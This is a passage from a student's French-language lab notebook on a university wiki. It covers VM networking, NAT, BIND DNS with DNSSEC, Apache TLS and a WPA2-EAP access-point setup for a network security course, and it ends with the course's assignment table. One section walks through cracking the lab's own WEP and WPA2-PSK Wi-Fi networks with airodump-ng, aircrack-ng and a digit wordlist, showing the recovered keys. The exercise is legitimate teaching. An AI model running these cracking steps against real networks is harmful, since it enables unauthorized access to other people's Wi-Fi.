&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ensuite sur le routeur :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
ip dhcp pool PoolCedric&lt;br /&gt;
network 10.60.5.0 255.255.255.0&lt;br /&gt;
dns-server 193.48.57.166&lt;br /&gt;
default-router 10.60.5.254&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
interface Vlan15&lt;br /&gt;
 description &amp;quot;VLAN personnel de Cedric PAYET (E5) - WPA2-EAP&amp;quot;&lt;br /&gt;
 ip address 10.60.5.2 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60a5::2/64&lt;br /&gt;
 vrrp 15 address-family ipv4&lt;br /&gt;
  priority 110&lt;br /&gt;
  address 10.60.5.1 primary&lt;br /&gt;
  exit-vrrp&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
vlan 15&lt;br /&gt;
name E5-Cedric&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12199</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12199"/>
		<updated>2026-02-10T16:34:13Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Schéma de câblage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
